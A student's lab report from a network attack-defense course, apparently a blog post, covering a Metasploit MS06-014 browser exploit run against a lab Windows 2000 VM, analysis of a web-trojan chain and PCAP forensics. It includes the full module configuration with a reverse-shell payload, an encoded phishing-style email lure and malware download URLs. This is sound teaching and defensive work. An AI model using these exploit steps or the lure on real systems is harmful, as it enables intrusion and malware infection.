20252817 2025-2026-2 《网络攻防实践》实践十一报告

20252817 2025-2026-2 《网络攻防实践》实践十一报告

1.实践内容

本次实践主要围绕浏览器安全攻防展开

我完成的内容主要有三部分:

  1. 在 Kali 中使用 Metasploit 的 MS06-014 浏览器漏洞模块,构造本地实验用的网页木马 URL,并在 Win2kServer_SP0 中用 IE 访问验证渗透效果。
  2. 分析课程材料中的网页挂马样本,从 start.html 开始逐层找出后续网页、脚本、控件漏洞和下载的程序。
  3. 对网页木马攻击流量做取证分析,结合 HTTP 请求、跳转和主机通信关系,还原用户访问恶意页面后的主要过程。

2.实践过程

2.1 实验环境准备

本次使用的虚拟机如下:

虚拟机 用途 已确认 IP
Kali Metasploit、哈希计算、网页挂马和 PCAP 分析 192.168.200.64192.168.200.194
Win2kServer_SP0 用 IE 访问 Kali 生成的实验网页 192.168.200.192
WinXPattacker 静态分析工具备用环境 192.168.200.66

在 Kali 中先确认主机名和网络:

hostname
ip addr
ping 192.168.200.192

浏览器渗透这一部分使用的是 Kali 的 VMnet1 地址 192.168.200.194 和 Win2kServer_SP0 当前 DHCP 获取到的地址 192.168.200.192。先确认 Kali 能 ping 通 Win2kServer_SP0,说明两个虚拟机之间的基础网络是通的。

image

2.2 Web 浏览器渗透攻击实验

这一部分使用的是 Metasploit 中的 IE 浏览器漏洞模块。老师要求使用 MS06-014,但我在新版 Kali 的 Metasploit 中直接搜索时没有搜到结果:

msf > search ms06_014
[-] No results from search

image

后来改为直接使用对应模块:

use exploit/windows/browser/ie_createobject

再查看模块信息:

info exploit/windows/browser/ie_createobject

可以看到该模块名称为:

MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution

image

所以后续实验使用的模块是:

exploit/windows/browser/ie_createobject

本次浏览器渗透使用 Kali 作为攻击机,Win2kServer_SP0 作为靶机。在Metasploit 中配置模块:

use exploit/windows/browser/ie_createobject
set target 1
set payload windows/shell/reverse_tcp
set SRVHOST 192.168.200.194
set SRVPORT 8080
set URIPATH 20252817_ms06_014
set LHOST 192.168.200.194
set LPORT 4444
show options
exploit -j

主要参数含义如下:

参数 设置 说明
SRVHOST 192.168.200.194 Kali 提供恶意网页的地址
SRVPORT 8080 Web 服务端口
URIPATH 20252817_ms06_014 URL 路径,包含自己的学号
payload windows/shell/reverse_tcp 反向命令行 Shell
LHOST 192.168.200.194 靶机反向连接回 Kali 的地址
LPORT 4444 反向连接端口

运行后,Metasploit 输出实验 URL:

image

http://192.168.200.194:8080/20252817_ms06_014

然后在 Win2kServer_SP0 中打开 IE,访问这个 URL。

image

访问后,Kali 端出现:

image

这说明漏洞触发成功,并且 Kali 已经获得了 Win2kServer_SP0 的远程 Shell。

接着查看会话:

sessions -l

image

可以看到:

Active sessions
===============

  Id  Type               Information
  --  ----               -----------
  1   shell x86/windows  Shell Banner: Microsoft Windows 2000 [Version 5.00.2195]

然后通过 session 执行远程命令:

sessions -i 1 -c ipconfig
sessions -i 1 -c hostname

image

结果中可以看到:

IP Address. . . . . . . . . . . . : 192.168.200.192
hostname
icst-win2k-s

说明攻击机已经通过浏览器漏洞在靶机上执行了命令,本部分实验完成。

2.3 网页挂马攻击场景分析

先把实验 11 的材料放到 Kali 桌面 exp11 文件夹中,然后查看入口文件 start.html

cd /home/kali/Desktop/exp11/
grep -n "new09\\|iframe\\|urlresult" start.html

可以看到:

image

这说明 start.html 不是最终恶意代码,而是通过隐藏 iframe 引入了 new09.htm

接着计算 start.html 的 MD5:

md5sum start.html

image

结果为:

d3aa87e15a58014dfe31009bf909a01e  start.html

本地实验材料中没有单独给出 new09.htm 文件,只能在 start.html 里看到它被引用。课程参考材料中记录了 new09.htm 的内容,它继续加载两个地址:

http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js

按照实验要求,对 URL 做 32 位 MD5:

echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
echo -n "http://js.users.51.la/1299644.js" | md5sum

得到:

URL MD5
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3

其中 1299644.js 更像统计代码,主要恶意逻辑在 kl.htm 中。

后续继续分析 kl.htm。这里不能直接当普通网页看,因为里面的主要脚本做了混淆。我先在 Kali 中进入解压后的样本目录:

cd /home/kali/Desktop/exp11/webtrojan_samples
ls original/kl.htm hashed/7f60672dcd6b5e90b6772545ee219bd3

其中 hashed/7f60672dcd6b5e90b6772545ee219bd3 是按照 URL 的 MD5 命名保存的文件,original/kl.htm 是同一个文件按原始文件名保存的副本。

先看它用了什么混淆方式:

grep -nE "base64decode|xxtea_decrypt|\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74" original/kl.htm

可以看到 kl.htm 中出现了 base64decodexxtea_decrypt,并且密钥用十六进制写成了 \x73\x63\x72\x69\x70\x74,也就是字符串 script。这说明它不是直接写明后续攻击逻辑,而是先 Base64,再用 XXTEA 解密,最后还夹杂十六进制转义。

这里我没有直接在浏览器里运行 kl.htm,而是打开课程给的“网页挂马分析实践参考(上).pdf”,对照里面的解密结果继续整理。参考材料中给出的解密结果显示,kl.htm 会尝试创建多个 ActiveX 对象:

ActiveX 对象 目标
Adodb.Stream 利用 Windows 组件下载并写入文件
MPS.StormPlayer 暴风影音控件
POWERPLAYER.PowerPlayerCtrl.1 PPStream 控件
BaiduBar.Tool 百度搜霸控件

也就是说,kl.htm 的作用是先判断本机有没有这些容易被利用的控件。如果有,就继续加载对应脚本或下载 CAB 文件。后续文件和 MD5 如下:

URL MD5
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

这些脚本会继续下载可执行文件:

来源 下载文件
1.js http://down.18dd.net/bb/014.exe
b.js http://down.18dd.net/bb/bf.exe
pps.js http://down.18dd.net/bb/pps.exe
bd.cab 解出 bd.exe

继续分析下载器,可以看到它还会下载:

http://down.18dd.net/kl/0.exe
...
http://down.18dd.net/kl/19.exe

也就是 20 个二阶段程序。

综合起来,这个网页挂马的大致流程是:

start.html
  -> new09.htm
    -> kl.htm
      -> 判断本机 ActiveX 控件
      -> 加载 1.js / b.js / pps.js / bd.cab
      -> 下载 014.exe / bf.exe / pps.exe / bd.exe
      -> 继续下载 0.exe 到 19.exe
      -> 创建 serdst.exe 并安装伪装服务

从功能看,这个网页挂马不是单个网页脚本,而是一条完整的攻击链:入口网页负责隐藏跳转,后续脚本负责判断浏览器控件漏洞,成功后下载木马程序。

2.4 Web 浏览器渗透攻击攻防对抗

这一部分按“攻击方构造、 防守方分析”的思路完成。这里没有向真实用户发送邮件,而是在本地做一个 HTML 邮件样例,用来练习挂马链接的提取和解混淆。

先在 Metasploit 中确认两个浏览器端漏洞模块。第一个模块就是 2.2 中已经跑通的 MS06-014:

info exploit/windows/browser/ie_createobject

image

第二个选择 Windows WMF 相关浏览器攻击模块,用来作为对抗分析中的另一个漏洞样例:

info exploit/windows/browser/ms06_001_wmf_setabortproc

image

两个模块对应关系如下:

模块 对应漏洞
exploit/windows/browser/ie_createobject MS06-014,IE COM CreateObject 代码执行
exploit/windows/browser/ms06_001_wmf_setabortproc Windows WMF SetAbortProc 代码执行

攻击方可以把两个本地实验 URL 放进一个 HTML 邮件样例里。为了体现“混淆处理”,我没有直接写明完整 URL,而是用 URL 编码保存。这个文件只保存在本地用于分析:

<html>
<body>
<p>老师发的课程资料见下面链接:</p>
<a href="#" onclick="location.href=decodeURIComponent('http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014')">查看课程资料</a>
<br>
<a href="#" onclick="location.href=decodeURIComponent('http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001')">查看补充说明</a>
</body>
</html>

image

image

防守方分析时不要直接点击链接,而是先看 HTML 源码。这里主要看 hrefonclickdecodeURIComponent 这些字段。可以看到两个被编码过的地址:

http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014
http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001

其中 %3A 代表 :%2F 代表 /。为了验证还原结果,我在 Kali 中执行:

python3 - <<'PY'
from urllib.parse import unquote

u1 = "http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014"
u2 = "http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001"

print(unquote(u1))
print(unquote(u2))
PY

输出结果就是还原后的两个 URL:

http://192.168.200.194:8080/20252817_ms06_014
http://192.168.200.194:8081/20252817_ms06_001

再把 URL 中的路径和前面的 Metasploit 模块进行对应:

还原出的 URL 对应模块 判断
http://192.168.200.194:8080/20252817_ms06_014 ie_createobject MS06-014,攻击 IE ActiveX / COM CreateObject
http://192.168.200.194:8081/20252817_ms06_001 ms06_001_wmf_setabortproc MS06-001,攻击 Windows WMF 图形处理组件

我的防守方分析步骤可以概括为:

  1. 查看邮件源代码,找到 hrefiframescript srcwindow.location 等字段。
  2. 如果链接被 URL 编码,先做 URL decode。
  3. 如果脚本中出现 evalunescapeString.fromCharCode,先还原字符串再分析。
  4. 将还原出的 URL 和 Metasploit 模块输出对比,判断攻击目标。
  5. 结合模块名、漏洞编号、目标浏览器或控件,写出防守结论。

防御措施主要包括:

  1. 不直接点击邮件中的陌生链接。
  2. 禁用或限制高风险 ActiveX 控件。
  3. 使用补丁更新后的浏览器和系统。
  4. 在网关、代理或 IDS 中拦截可疑 iframe、混淆 JavaScript 和异常下载行为。
  5. 对邮件中的短链接、编码链接和脚本跳转做沙箱检测。

2.5 网页木马攻击流量取证分析

材料中还提供了一个抓包文件:

参考答案\Web浏览器遭遇攻击取证分析实践\suspicious-time.pcap

我对该文件做了基本统计:

项目 结果
PCAP MD5 bd1fd5c2a18117e8bc4c5e16e4942cd8
数据包数量 745
HTTP 样本数量 139

通信最多的 IP 包括:

IP 数据包数量
10.0.4.15 315
10.0.3.15 267
192.168.56.52 175
64.236.114.1 130
192.168.56.50 113
10.0.2.15 94

打开老师提供的 suspicious-time.pcap

image

在 Wireshark 中先用过滤条件查看 HTTP:

http

image

再根据主机名过滤:

http.host contains "rapidshare"
http.host contains "sploitme"

image

image

流量中可以看到一条比较清楚的访问链:

10.0.2.15 -> rapidshare.com.eyu32.ru /login.php
10.0.2.15 -> sploitme.com.cn /?click=3feb5a6b2f
sploitme.com.cn -> 302 跳转到 /fg/show.php?s=3feb5a6b2f
10.0.2.15 -> sploitme.com.cn /fg/show.php?s=3feb5a6b2f

其中关键 HTTP 请求如下:

image

GET /login.php
Host: rapidshare.com.eyu32.ru

这一条说明受害主机先访问了伪装成 RapidShare 登录页的网站。

image

GET /?click=3feb5a6b2f
Host: sploitme.com.cn
Referer: http://rapidshare.com.eyu32.ru/login.php

这一条说明用户从 rapidshare.com.eyu32.ru 页面跳转到了 sploitme.com.cn。其中 Referer 字段能说明跳转来源。

HTTP/1.1 302 Found
Location: http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f
GET /fg/show.php?s=3feb5a6b2f
Host: sploitme.com.cn

从这些流量可以看出,用户先访问了伪装成 RapidShare 登录页面的网站,随后被引到 sploitme.com.cn,后者更像真正提供浏览器攻击页面的服务器。

这部分流量我最后按攻击链条整理如下:

阶段 证据 说明
伪装入口 rapidshare.com.eyu32.ru/login.php 用户先访问伪装登录页面
跳转参数 /?click=3feb5a6b2f 页面把访问继续导向后续站点
跳转来源 Referer: rapidshare.com.eyu32.ru/login.php 说明 sploitme.com.cn 请求来自伪装页
302 响应 Location: /fg/show.php?s=3feb5a6b2f 服务器继续把用户带到攻击页面
攻击入口 /fg/show.php?s=3feb5a6b2f 更像真正承载浏览器攻击逻辑的位置

所以这里不能只看某一个包,关键是把 HostReferer302 Found 和 URL 路径串起来,才能说明用户是怎样从伪装页面进入攻击页面的。

3.学习中遇到的问题及解决

  • 问题1:Metasploit 中直接搜索 ms06_014 没有结果。

  • 问题1解决方案:改用 exploit/windows/browser/ie_createobject,再通过 info 确认该模块对应 MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution

  • 问题2:Win2kServer_SP0 一开始 ping 不通。

  • 问题2解决方案:在 Win2k 中查看 ipconfig /all,发现网卡显示 Cable Disconnected。关机后检查虚拟机网卡连接,重新启动后 Win2k 获取到 192.168.200.192,Kali 可以正常 ping 通。

  • 问题3:第一次访问实验 URL 时没有马上得到 Shell。

  • 问题3解决方案:检查后发现 IE 地址栏里多了引号,导致访问地址不正确。重新输入 http://192.168.200.194:8080/20252817_ms06_014 后,Kali 成功显示 Command shell session 1 opened

  • 问题4:网页挂马样本被宿主机安全软件报毒。

  • 问题4解决方案:不在宿主机上解压和运行样本,把压缩包放到 Kali 中解压,主要做静态分析。需要动态观察 EXE 时,只放到隔离的 Windows 虚拟机中运行,并提前创建快照。

  • 问题5:网页挂马链路比较长,文件容易跟丢。

  • 问题5解决方案:按“入口页面 -> iframe/script -> URL MD5 -> 脚本文件 -> 下载器 -> 二阶段程序”的顺序整理,每发现一个新地址就计算 MD5,再用哈希值去找对应文件。

4.实践总结

这次实验让我对浏览器攻击有了更直观的认识。浏览器漏洞利用不是简单地“访问一个网页”,中间其实包含了服务端构造 exploit 页面、客户端浏览器解析脚本、ActiveX 或插件被调用、payload 回连等多个环节。只要其中一个条件不满足,比如系统补丁、IE 安全设置、控件版本不匹配,就可能无法拿到会话。

网页挂马分析部分让我感觉最有收获。一个看起来普通的 start.html,里面只要藏一个 0 宽 0 高的 iframe,就可以继续加载后面的脚本。后面的脚本再通过加密、混淆、控件判断和下载器,把攻击链条拉得很长。如果不一步一步记录 URL 和 MD5,很容易不知道自己分析到了哪一层。

取证部分也说明,流量分析要抓住主线。本次抓包里比较关键的是 rapidshare.com.eyu32.rusploitme.com.cn 的跳转关系。把 HTTP Host、Referer、302 跳转和访问时间放在一起看,就能比较清楚地还原用户是怎么从伪装页面进入攻击页面的。

参考资料

  • 课程实验材料:C:\Users\ch\Desktop\study\网络安全应用\实验11
  • Metasploit 模块信息:exploit/windows/browser/ie_createobject
  • 课程材料:网页挂马分析实践参考(上).pdf
  • 课程材料:网页挂马分析实践参考(下).pdf
  • Metasploit 模块文档:https://docs.metasploit.com/
  • Wireshark 官方文档:https://www.wireshark.org/docs/
posted @ 2026-06-17 14:36  ch_c  阅读(8)  评论(0)    收藏  举报